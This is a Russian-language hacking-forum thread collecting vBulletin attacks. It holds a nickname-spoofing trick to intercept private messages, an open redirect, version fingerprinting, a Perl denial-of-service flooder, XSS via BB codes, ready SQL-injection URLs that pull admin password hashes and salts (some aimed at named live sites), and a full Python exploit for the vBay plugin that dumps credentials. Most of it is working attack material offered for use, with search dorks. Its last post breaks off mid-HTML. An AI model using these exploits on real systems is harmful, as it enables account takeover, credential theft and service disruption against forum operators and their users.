Уязвимости vBulletin
Старый 01.09.2010, 19:03   #1
Админ
 
Аватар для Ghost


Обратиться по нику

По умолчанию Уязвимости vBulletin

Суть в том, что можно зарегистрировать на форуме фейк аккаунт, к примеру админа, и если человек пишет в Личку админу, то письма будут идти на фейк.

У кого слабо с инглишем ... к логину админа добавляется &#00 и регистрируется пользователь ... все фейк зарегистрирован.

Чтоб это дело исправить, идем в админку Основные настройки - Регистрация пользователей - Недопустимые имена пользователей - &#


Спасибо за информация @$_terr_X
  Ответить с цитированием
7 cпасибо от:

Небольшая бага vBulletin до 3.8.6 pl1 и 4.1.4 включительно
Старый 06.08.2011, 04:17   #2
Завсегдатай
 
Аватар для Demon


Обратиться по нику

Инфо
Регистрация: 15.07.2011
Сообщений: 277
ICQ: ????
По умолчанию Небольшая бага vBulletin до 3.8.6 pl1 и 4.1.4 включительно

Вобла после совершения действия кидает юзера на страницу, на которой он находился до этого.

Можно подменить страницу, на которой он находился до этого - и после совершения им действия его кинет на указанный нами сайт (например фейк)

Кидаем юзеру ссылку

Цитата:
[Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
Пример:

[Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]

Бага не очень критическая. Но для СИ очень даже "вкусная"
  Ответить с цитированием

Узнаем версию vBulletin
Старый 06.08.2011, 04:26   #3
Завсегдатай
 
Аватар для Demon


Обратиться по нику

Инфо
Регистрация: 15.07.2011
Сообщений: 277
ICQ: ????
По умолчанию Узнаем версию vBulletin

Статья - копипаст темы
_http://vbsupport.org/forum/showthread.php?t=40256
в которой описано, как скрыть версию. Из статьи прекрасно видно где именно нужно смотреть, чтобы определить версию.


У многих рано или поздно возникает вопрос:


Задавая этот вопрос на форуме, новичок, обычно сразу встречает встречный вопрос:


И стандартный ответ:


Как максимум, могут сказать какие фразы менять. Но давайте разберемся:


Обычно это делают для того, что бы получить «фору», на случай если в вашей версии форума обнаружится уязвимость. Многие ограничиваются лишь изменением версии форума в подвале, мета-заголовке и как максимум в описании стиля и на этом успокаиваются…


Именно для тех, кто хочет довести начатое дело до конца я и написал эту статью.


Итак начнем…
  1. Самое первое место, где новичок удаляет/изменят копирайт – находится в подвале. Изменить его можно несколькими способами, но самый лучший это:


    Найти фразу «powered_by_vbulletin» и в место «{1}» поставить версию форума, например «3.8.2»;
  2. Второе место, где новичок удаляет/изменяет копирайт – находится в мета-теге.


    <meta name="generator" content="vBulletin 3.8.4" />


    Для изменения нужно:
    • пройти в Меню -> Стили и шаблоны -> Общие шаблоны;
    • в headinclude найти строку:
      Код:
      <meta name="generator" content="vBulletin $vboptions[templateversion]" />
    • заменить на:
      Код:
      <meta name="generator" content="vBulletin 3.x.x" />
  3. И последнее место, куда могут дойти руки новичка (очень редко), находится в стилях:


    Код:
    <!-- CSS Stylesheet -->
    <style type="text/css" id="vbulletin_css">
    /**
    * vBulletin 3.8.4 CSS
    * Style: 'Обычный стиль'; Style ID: 1
    */
    body
    {
        background: #E1E1E2;
        color: #000000;
        font: 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
        margin: 5px 10px 10px 10px;
        padding: 0px;
    }
    
    
    …
    Для изменения выделенного места – нужно:
    • пройти в папку «includes», которая находится в корне форума;
    • открыть файл «adminfunctions_template.php»;
    • найти код:
      Код:
      $fullcsstext = "<style type=\"text/css\" id=\"vbulletin_css\">\r\n" .
                      "/**\r\n* vBulletin " . $vbulletin->options['templateversion'] . " CSS\r\n* Style: '$title'; Style ID: $styleid\r\n*/\r\n" .
                      "$css\r\n</style>\r\n" .
                      "<link rel=\"stylesheet\" type=\"text/css\" href=\"clientscript/vbulletin_important.css?v=" . $vbulletin->options['simpleversion'] . "\" />"
                  ;
    • заменить на:
      Код:
      $fullcsstext = "<style type=\"text/css\" id=\"vbulletin_css\">\r\n" .
                      "/**\r\n* vBulletin 3.x.x CSS\r\n* Style: '$title'; Style ID: $styleid\r\n*/\r\n" .
                      "$css\r\n</style>\r\n" .
                      "<link rel=\"stylesheet\" type=\"text/css\" href=\"clientscript/vbulletin_important.css?v=" . $vbulletin->options['simpleversion'] . "\" />"
                  ;
Как показывает практика, все эти действия мало к чему приводят, если не произвести дополнительные изменения. А именно:
  1. Мало кто обращает внимание, что версия форума отображается при «входе в мод панель» или «админ панель». Вот пример одного из окон:





    (Рис. 1. Вход в панель модератора)


    Как видим, тут есть два места, где можно увидеть версию вашего форума. Первое выделено «синим» прямоугольником, второе «красным» (отображается при наведении указателя на логотип vBulletin)


    С «красным» прямоугольником я разобрался быстро:
    • ищем фразу «vbulletin_copyright»;
    • заменяем в ней «{1}» на «3.x.x».
    Вот с «синим» прямоугольником было чуть сложнее:
    • идем в папку «includes», которая находится в корне форума;
    • открыть файл «adminfunctions.php»;
    • найти код:
      Код:
      <?php echo "vBulletin " . $vbulletin->options['templateversion'] . " $pagetitle"; ?><br />
    • заменить на:
      Код:
      <?php echo "vBulletin 3.x.x" . " $pagetitle"; ?><br />
  2. Раз уж мы начали редактировать файлы, то я решил изменить, в дополнение, версию форума, которая отображается непосредственно в самой «панели модератора» или «панели администратора».





    (Рис. 2. Панель модератора)



    Для этого нужно:
    • идем в папку «modcp»;
    • открываем файл «index.php»;
    • ищем код:
      Код:
      <td><b><?php echo $vbphrase['moderator_control_panel']; ?></b> (vBulletin <?php echo $vbulletin->versionnumber; ?>)</td>
    • заменяем на:
      Код:
      <td><b><?php echo $vbphrase['moderator_control_panel']; ?></b> (vBulletin 3.x.x)</td>
    • идем в папку «admincp»;
    • открываем файл «index.php»;
    • ищем код:
      Код:
      <td style="text-align:<?php echo $stylevar['left']; ?>"><b><?php echo $vbphrase['admin_control_panel']; ?></b> (vBulletin <?php echo ADMIN_VERSION_VBULLETIN; ?>)<?php echo iif(is_demo_mode(), ' <b>DEMO MODE</b>'); ?></td>
    • заменяем на:
      Код:
      <td style="text-align:<?php echo $stylevar['left']; ?>"><b><?php echo $vbphrase['admin_control_panel']; ?></b> (vBulletin 3.x.x)<?php echo iif(is_demo_mode(), ' <b>DEMO MODE</b>'); ?></td>
  3. Тут вы наверное скажете, ну что еще? Ан нет, еще много чего… Набираемся терпения и:
    • Удаляем разные Changlog”и Readme в корне форума;
    • Редактируем заголовок в:
      • файле «archive/archive.css»;
      • во всех файлах (*.js; *.css) которые находятся в папке «clientscript/»;
      • в файле «cpstyles/vBulletin_2_Default/controlpanel.css»;
      • в файле «cpstyles/vBulletin_3_Default/controlpanel.css»;
      • в файле «cpstyles/vBulletin_3_Frontend/controlpanel.css»;
      • в файле «cpstyles/vBulletin_3_Manual/controlpanel.css»;
      • в файле «cpstyles/vBulletin_3_Silver/controlpanel.css»;
    • Редактируем шаблоны:
      • Идем в "Стили и шаблоны => Поиск в шаблонах";
      • В качестве "текста для поиска" вводим "?v=";
      • Заходим в каждый из найденных шаблонов и ищем все строки по маске "?v=". Они будут примерно такого вида:
        Код:
        ?v=$vboptions[simpleversion]
        и заменяем на:
        Код:
        ?v=3xx
      • После того как пройдетесь по всем шаблонам, введите новый "текст для поиска" -> "$vboptions[simpleversion]" (что бы убедиться в том, что все убрано).
  4. Ну и под конец – вернемся снова к headinclude и найдем там эти строки:
    Код:
    <script type="text/javascript" src="$stylevar[yuipath]/yahoo-dom-event/yahoo-dom-event.js?v=$vboptions[simpleversion]"></script>
    <script type="text/javascript" src="$stylevar[yuipath]/connection/connection-min.js?v=$vboptions[simpleversion]"></script>
    
    
    ...
    
    
    <script type="text/javascript" src="clientscript/vbulletin_global.js?v=$vboptions[simpleversion]"></script>
    <if condition="$show['popups']"><script type="text/javascript" src="clientscript/vbulletin_menu.js?v=$vboptions[simpleversion]"></script></if>
    Заменим их на:
    Код:
    <script type="text/javascript" src="$stylevar[yuipath]/yahoo-dom-event/yahoo-dom-event.js?v=3xx"></script>
    <script type="text/javascript" src="$stylevar[yuipath]/connection/connection-min.js?v=3xx "></script>
    
    
    ...
    
    
    <script type="text/javascript" src="clientscript/vbulletin_global.js?v=3xx"></script>
    <if condition="$show['popups']"><script type="text/javascript" src="clientscript/vbulletin_menu.js?v=3xx"></script></if>
    Так же:
    • найдем папку «includes», которая находится в корне форума;
    • откроем файл «adminfunctions_template.php»;
    • найдем код:
    Код:
    "<link rel=\"stylesheet\" type=\"text/css\" href=\"clientscript/vbulletin_important.css?v=" . $vbulletin->options['simpleversion'] . "\" />"
    Заменим на:
    Код:
    "<link rel=\"stylesheet\" type=\"text/css\" href=\"clientscript/vbulletin_important.css?v=3xx\" />"
На этом все! Это не поможет защититься от взлома, но большинство потенциальных взломщиков - пойдут лесом... Успехов =)


Prosper-H (c) r0 Crew



PS: Будут предложения, замечания, поправки - поправим."

by Prosper

Добавлено через 3 минуты
Хочу дополнить как еще можно узнать версию vBulletin 2.*.*, 3.0.* и 3.1.*.

В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.
Код:
vbulletin_ajax_threadslist.js
vbulletin_ajax_namesugg.js
vbulletin_attachment.js
vbulletin_cpcolorpicker.js
vbulletin_editor.js

Пример:
Код:
[Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
Лично я так на вобле версию ищу Подставляю файлики и выходит версия, как показано в примере этот файлик зачастую используется. Не давно столкнулся что нету такого файла. Взял 3 файлик из списка и он оказался на месте и показал версию.

Последний раз редактировалось Demon; 06.08.2011 в 04:26.. Причина: Добавлено сообщение
  Ответить с цитированием
Спасибо от:
Антиспасибо от:

vBulletin 3.8.4 - 3.8.5 получаем чужие письма
Старый 06.08.2011, 04:30   #4
Завсегдатай
 
Аватар для Demon


Обратиться по нику

Инфо
Регистрация: 15.07.2011
Сообщений: 277
ICQ: ????
По умолчанию vBulletin 3.8.4 - 3.8.5 получаем чужие письма

Поискала в темах такого не было. Дырка старая, но я щас потестила-работает еще.
Суть в чем?! Можно зарегистрировать фейк/ложный акк и получать письма на фейк.
тестила на первом попавшемся [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
нашла ник админа (можно другого пользователя) CAN
при регистрации в поле ник/логин вводим CAN&#00
Нас поздравляют с регистрацией под ником CAN
также тестила отправку сообщений, приходят на фейк)

by R1CHI
  Ответить с цитированием

vbulletin® Version 3.8.2 Denial Of Service Exploit
Старый 06.08.2011, 04:39   #5
Завсегдатай
 
Аватар для Demon


Обратиться по нику

Инфо
Регистрация: 15.07.2011
Сообщений: 277
ICQ: ????
По умолчанию vbulletin® Version 3.8.2 Denial Of Service Exploit

Цитата:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
################################################## ######################
# Modules #
################################################## ######################
use IO::SOCKET; # Object interface #
################################################## ######################
if (@ARGV<1){
print"
################################################## ######################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
################################################## ######################
################################################## ######################
## ## ##
##->vBulletin® Version 3.8.2<- ## ##
## ## ##
##Gebe diese Daten an ## ##
##1.Ziel ##[*] [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться] ##
##2.Board ##[*] vbulletin ##
##3.Verwundbarkeit ##[*] forumdisplay.php?f= ##
##4.Zeit des vorganges ##[*] 9999999999999999 ##
##5.Port ##[*] 80 ##
################################################## ######################
\a";}
$block = "
################################################## ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
print"$block\n";
print q(Ziel->);
chomp($ziel =<STDIN>);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =<STDIN>);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->n";
chomp($vul =<STDIN>);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =<STDIN>);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =<STDIN>);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =<STDIN>);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel : $ziel\n";
print "[*]Kontroliere Board : $path\n";
print "[*]Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}
Уязвимые пользовательские BB коды


Уязвимые версии:
3.8.4 PL2 (скорее всего, все версии)

Описание:
уязвимость позволяет злоумышленнику провести атаку используя html или JavaScript, если он будет следовать следующим условиям:
- код злоумышленника доолжен быть внутри переменной доступного html-тега
- апострофы или ничего следует использовать для инкапсуляции.

Примеры:
Example 1 [src]
Цитата:
<img src='{param}' style='border-width:5px;border-color:red;border-style:outset;' />
Example 2 [href]
Цитата:
<a href={option} style=border-width:5px;border-color:red;border-style:outset;>{param}</a>
Решение:
В php файлах используйте htmlentities($var, ENT_QUOTES); или htmlspecialchars($var);
Как альтернатива, запретить пользователям использовать апострофы в bb кодах.

by sway + дополнение Demon
  Ответить с цитированием
Спасибо от:

Старый 06.08.2011, 22:37   #6
Гость
 
Аватар для Boolean


Обратиться по нику

Инфо

Сообщений: n/a
По умолчанию

Могу добавить, очень часто, вижу такое.
Код:
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.8.0
|| # ---------------------------------------------------------------- # ||
|| # All code in this file is ©2000-2011 Jelsoft Enterprises Ltd.
Что мы видим? Видим - версия 3.8.0
Но у киддисов не хватает ума убрать год, из этого имеем, что версия точно не 3.8.0, для нее копирайт всегда 2000-2009, т.к. дата выхода 3.8.0 - 2009г.

Так же, добавлю, версии .js файлов в clientscript почти для каждой версии по весу разные.

Последний раз редактировалось Boolean; 06.08.2011 в 22:53..
  Ответить с цитированием
Спасибо от:

[0-Day] ibPro Arcade vBulletin Exploit
Старый 03.07.2012, 20:47   #7
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
Post [0-Day] ibPro Arcade vBulletin Exploit

[0-Day] ibPro Arcade vBulletin Exploit

Код:
/arcade.php?act=Arcade&do=stats&comment=a&s_id=[SQLi]
Fetch the password & salt of user ID 1:

Код:
/arcade.php?act=Arcade&do=stats&comment=a&s_id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT CONCAT(password,0x3a,salt) FROM user WHERE id = 1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
proof:
Код:
http://www.nohomers.net/arcade.php?act=Arcade&do=stats&comment=a&s_id=1%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT((SELECT%20CONCAT(password,0x3a,salt)%20FROM%20user%20WHERE%20id%20=%201),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
Код:
mySQL error: Duplicate entry '7a4d3244d834397e38b65ef817e62cb4:Q:v)r!oe@KuF:L5@aA91^qyiaTOsC%1' for key 'group_key'
[Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
Результатов: примерно 233 000

собсно так и поимели несколько крупных форумов, botmotuhi.net например, дамп БД заполучили кулхацкиры с экспхака, но админ успокаивает себя тем, что все хорошо, файлы же не слили)

Цитата:
слили базу данных форума (которая особой цености думаю не представляет
Топик на [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]

на античате же страсти с [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]


(c) p0wersurge.com
  Ответить с цитированием
3 cпасибо от:

Yet Another Usergroup Legend (AJAX)
Старый 10.09.2012, 16:16   #8
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию Yet Another Usergroup Legend (AJAX)

Yet Another Usergroup Legend (AJAX)

Код:
Home: xaker.name & grabberz.com
тема с хаком http://vbsupport.org/forum/showthread.php?t=26774
не достаточная обработка входящих данных

Код:
ajax.php?do=getgroup&groupis=%28select%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28concat%28CHAR%2852%29%2cCHAR%2867%29%2cCHAR%28117%29%2cCHAR%28103%29%2cCHAR%28102%29%2cCHAR%2881%29%2cCHAR%2873%29%2cCHAR%2871%29%2cCHAR%2885%29%2cCHAR%2890%29%2cCHAR%28112%29%29%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29
Цитата:
Duplicate entry '4CugfQIGUZp0' for key 'group_key'
proof:
Код:
http://sea-wave.ru/forum/ajax.php?do=getgroup&groupis=%28select%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28concat%28CHAR%2852%29%2cCHAR%2867%29%2cCHAR%28117%29%2cCHAR%28103%29%2cCHAR%28102%29%2cCHAR%2881%29%2cCHAR%2873%29%2cCHAR%2871%29%2cCHAR%2885%29%2cCHAR%2890%29%2cCHAR%28112%29%29%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29
за помощь и пинок в правильную сторону спасибо кативо
пофиксеная версия в аттаче
Вложения
Тип файла: zip product-yaugl_mdm_cp1251.zip (3.0 Кб, 4 просмотров)
  Ответить с цитированием
4 cпасибо от:

Старый 21.09.2012, 22:42   #9
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

Vbulletin (blog_plugin_useradmin) v4.1.12 Sql Injection Vulnerability

  • Author : IrIsT.Ir
  • Discovered By : Am!r
  • Home : [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
  • Software Link : [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
  • Security Risk : High
  • Version : All Version
  • Tested on : GNU/Linux Ubuntu - Windows Server - win7
  • Dork : intext:"Powered By Vbulletin 4.1.12"

Expl0iTs :
Код:
http://target.com/includes/blog_plugin_useradmin.php?do=usercss&amp;u=[Sql]
  Ответить с цитированием
2 cпасибо от:

Старый 06.11.2012, 00:20   #10
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

vBulletin ChangUonDyU Advanced Statistics SQL Injection Vulnerability


Код:
# Exploit Title: vBulletin ChangUonDyU Advanced Statistics - SQL Injection Vulnerability
# Google Dork: No Dork
# Date: 19/10/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://hoiquantinhoc.com
# Software Link:
http://hoiquantinhoc.com/modifications-3-8-x/4468-changuondyu-advanced-statistics-6-0-1-a.html
# Version: vBulletin 3 & 4
# Tested on: Windows 7
#
Vulnerability:

SQL Injection was found in ChangUonDyU Advanced Statistics.

Query on ajax.php

Exploitation:

Код:
ajax.php?do=inforum&listforumid=100) UNION SELECT
1,concat_ws(0x7c,user(),database(),version()),3,4,5,6,7,8,9,10-- -&result=20
or:

Код:
ajax.php?do=inforum&listforumid=100) UNION SELECT
1,2,3,4,5,6,concat_ws(0x7c,username,password,salt),8,9,10,11 from user
where userid=1-- -&result=20
Ex:

Код:
http://server/f/ajax.php?do=inforum&listforumid=100%29%20UNION%20SELECT%201,concat_ws%280x7c,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10--%20-&result=20
(c) exploit-db.com
  Ответить с цитированием
2 cпасибо от:

Старый 13.11.2012, 14:04   #11
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

vBulletin vBSEO SQL Injection Vulnerability

Код:
######################################################
# vBulletin vBSEO SQL Injection Vulnerability (PRIVATE) 4/12/2012
# Remember leaking means instant ban and dox. ^^
######################################################
#
# Security risk:   Very High
#
# Effective on:    All versions
#
# Exploit:         http://[target]/members/x.html?userid=[sql]
#
# Software link:   http://vbseo.com/
#
#######################################################
#
# Found by:        iV3cT0r
#
# Vendor notified: No
#
#######################################################
#
# Plugin patch---
# PHP Code:        $vbulletin->db->query_write(rtrim($_GET['userid']));
# Execution order: 5
# Hook location:   global_start
#
######################################################
vBulletin vBay <=1.1.9 Error-Based SQL Injection


Код:
#!/usr/bin/env python -W ignore::DeprecationWarning
  
"""
  
   VBay <= 1.1.9 - Remote Error based SQL Injection
    
                        ~ Author:  Dan UK
                        ~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599
                        ~ Date:    10/11/12
          
           DETAILS
           Among a couple of other unsanitized parameters used within an INSERT INTO statement
           on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this
           using error based sql injection, making it possible to grab anything the user wants
           from the vbulletin database (and any others if accessible).
    
           As said above, the affected file is /upload/vbay.php.
           On line 418, we can see the $vbulletin->input variable "type"
           being assigned with the datatype NO_HTML. Using this data type
           allows malicious attacks to still be executed.
    
           At line 448, it is used within the insert into statement,
           without any sanitization.
    
          
           POC
           - You will need to register an account.
           - Go to [site]/vbay.php?do=postauction.
           - Modify your post data using a tool such as live http headers, or setting it directly
             using a tool such as curl/wget to grab the source.
           - Set the value of "type=" to something that will cause an error, such as a single tick.
             Example: POST type='
           - If, when you view the source, you get a vbulletin error message surrounded within
             comments, then it's possible to go ahead. If not, blind is the way forward.
    
           If error based is possible for you, you could either just simply look at some tutorials
           and go from there, or run the script below which will grab the details for the user specified.
    
           Have fun.
  
"""
  
from optparse import OptionParser, OptionGroup
from argparse import OPTIONAL
import cookielib, urllib, urllib2, httplib
import sys, md5, urlparse, re
  
"""
OPTION PARSER/USAGE
"""
usage = "./%prog [options]\n"
usage += "-h or --help for more help."
  
# Required options
parser = OptionParser(usage=usage)
parser.add_option("-u", dest="username",
                  help="Working username to the target forum.")
parser.add_option("-p", dest="password",
                  help="Working password to the target forum.")
parser.add_option("--host", dest="forumpath",
                  help="FULL path to the vbulletin forum.")
  
# Optional Options
optional = OptionGroup(parser, "Optional arguments")
optional.add_option("-f", dest="userid",
                    help="User ID to grab. Default is 1.", metavar="USERID",
                    default="1")
optional.add_option("-s", dest="prefix",
                    help="Set the prefix of the vBulletin forum\
                         Default is null.", default="")
optional.add_option("-g", "--grab-prefix", dest="grabprefix",
                    help="Grab the tables prefix.", default=False,
                    action="store_true")
  
parser.add_option_group(optional)
  
(options, args) = parser.parse_args()
  
if not options.forumpath:
    parser.error('[-] No forum path given.')
if not options.username:
    parser.error('[-] No username given.')
if not options.password:
    parser.error('[-] No password given.')
  
  
"""
HEADER
"""
def Header():
    header = """
# # # # # # # # # # # # # # # # # #
# VBay <=1.1.9 SQL Injection 0day #
#            By Dan_UK            #
# # # # # # # # # # # # # # # # # #\n"""
    return header
  
"""
LOGIN AND EXTRACT NEEDED COOKIES
"""
def loginForum(forum, username, password):
    md5pass = md5.md5(password).hexdigest()
    postdata = urllib.urlencode({
                'do':'login',
                'vb_login_md5password':md5pass,
                'vb_login_username':username,
                'cookieuser':'1'
               })
    cookie_jar = cookielib.CookieJar()
    handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    handeler.open(forum + "login.php?do=login", postdata)
    
    for cookie in cookie_jar:
        if "bbsessionhash" in str(cookie):
            return cookie_jar
  
  
"""
CHECK VBAY EXISTS
"""
def get_server_status_code(forum):
    host, path = urlparse.urlparse(forum)[1:3]
    try:
        conn = httplib.HTTPConnection(host)
        conn.request('HEAD', path)
        return conn.getresponse().status
    except StandardError:
        return None
  
def checkExists(forum):
    good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]
    return get_server_status_code(forum + "vbay.php") in good_codes
  
"""
CHECK DEBUG MODE ENABLED
"""
def checkVuln(forum, cookie_jar):
    payload = {
               "POST":
                      urllib.urlencode({"type":"'"}),
               "SCRIPT":"vbay.php?do=postauction"
              }
    try:
        handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
        resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])
    except urllib2.HTTPError as e:
        e_mesg = e.read()
        
    if "MySQL Error" in e_mesg:
        return True
  
"""
GRAB PREFIX
"""
def grabPrefix(forum, cookie_jar):
    payload = {
               "SQL":urllib.urlencode({"type":"'"}),
               "SCRIPT":"vbay.php?do=postauction"
              }
    
    try:
        handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
        resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])
    except urllib2.HTTPError as e:
        e_mesg = e.read()
    
    prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)
    return prefix
        
    
  
"""
GRAB INFO
"""
def grabInfo(forum, cookie_jar, prefix, userid):
    # 0x2564656c696d312125 = "%delim1!%"
    payload = {
                "SQL":
                      urllib.urlencode({
                       "type":"' and (select 1 from (select count(*),concat((select(select concat(cast(concat(0x2564656c696d312125,COL_NAME,0x2564656c696d312125) as char),0x7e)) from " + str(prefix) + "user WHERE userid=" + str(userid) + " limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ''='",
                      }),
               "COLS": ["username", "password", "salt"],
               "SCRIPT":"vbay.php?do=postauction"
              }
    
    info = []
    for col in payload["COLS"]:
        print "[!] Grabbing the %s" % col
        try:
            handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
            resp = handler.open(forum + payload["SCRIPT"], payload["SQL"].replace("COL_NAME", col))
        except urllib2.HTTPError as e:
            e_mesg = e.read()
            info.append(e_mesg.split("%delim1!%")[1].strip("\n"))
    return info
    
    
"""
MAIN
"""
def main():
     username = options.username
     password = options.password
     forum = options.forumpath
     userid = options.userid
     prefix = options.prefix
      
     if forum.lower()[:7] != "http://":
         if forum.lower()[:8] == "https://":
             forum = forum.replace("https://", "http://")
     if forum[-1:] != "/":
         forum = forum + "/"
              
     print Header()
      
     print "[!] Trying to login to: " + forum
     if loginForum(forum, username, password):
         cookies = loginForum(forum, username, password)
         print "[+] Login works."
     else:
         print "[-] Login doesn't work. (" + username + ":" + password + ")"
         print "[-] Exiting."
         sys.exit()
          
     print "\n[!] Checking if vBay is installed.."
     if (checkExists(forum)):
         print "[+] vBay was found. Continuing with exploit."
     else:
         print "[-] vBay could no be found. (" + forum + "/vbay.php)"
         print "[-] Exiting."
         sys.exit()
          
     print "\n[!] Checking if debug mode is enabled.."
     if checkVuln(forum, cookies):
         print "[+] Debug mode is enabled, exploit is possible."
          
     if options.grabprefix == True:
         print "\n[!] Grabbing prefix."
         print "[+] Prefix found:" + grabPrefix(forum, cookies)   
         sys.exit()
          
          
     print "\n[!] Grabbing info.\n"
     info = grabInfo(forum, cookies, prefix, userid)
     print "\n[+] Formatting for ease of view."
     print "\n\n[+] Username: " + info[0]
     print "[+] Password: " + info[1]
     print "[+] Salt: " + info[2]
     print "\n\nThanks for using my tool."
          
      
if __name__ == "__main__":
    main()
  Ответить с цитированием
2 cпасибо от:

Старый 29.11.2012, 05:20   #12
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

vBulletin 5 Beta 19 Multiple XSS 0day

Software: vBulletin 5.0.0 XSS Beta 19 Tested
Vendor: vBulletin.com
Author: KrypTiK
Type: XSS
Location: [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться][Forum]/admincp
AdminCP Search:
Alert: [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
Calendar: (XSS on Title)
Images: [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться] / [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться] / [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
  Ответить с цитированием
Спасибо от:

Старый 07.12.2012, 01:06   #13
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

vBulletin 3.x / 4.x / 5.x remote SQL Injection PHP exploit


Код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<style>
body {background-color: black; font-family: Verdana;  font-size: 10pt; color: #d9d9d9; margin: 30px; 30px; auto; background-attachment: fixed; background-image: url('https://lh6.googleusercontent.com/-C-Zv0fYrOtU/UJgYzWMMUiI/AAo/3UyiI7kIcQo/s600/back4.jpg'); background-repeat: no-repeat; background-position: right bottom;}
div  { margin: 30px; 30px; auto; }

</style>
